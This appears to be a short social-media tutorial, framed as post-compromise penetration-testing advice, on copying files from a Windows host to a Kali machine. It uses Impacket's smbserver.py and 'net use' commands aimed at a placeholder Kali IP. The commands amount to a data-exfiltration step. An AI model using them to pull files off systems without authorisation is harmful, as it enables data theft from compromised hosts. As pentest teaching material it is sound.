Transfer Files from Windows to Kali
Here is an easy way to transfer files from a Windows computer to your Kali box. This of course would be post-compromise.
The tool being used is smbserver.py from Impacket. This should already be on your Kali box by default, but if not you can grab it from Github:
https://github.com/fortra/impacket
Once you're ready, here are the steps you can take.
On Kali
python3 /opt/impacket/examples/smbserver.py -smb2support myshare2 .
On Windows
From the Windows Command Prompt
领英推荐
net use \\<IP to your Kali box>\myshare2
(In the screenshot I left off the "2" at the end of my file share name by accident, but it should end with the name of your share)
On Windows Explorer
\\<Kali IP>\myshare2
On Kali
I hope this was helpful for you. When I needed to know how to do this, I found lots of resources on how to move files from Kali to Windows, not the other way around.
Coding My Way to a Better Future | UniSA
1 年I use FileZilla and transfer via ssh, very easy.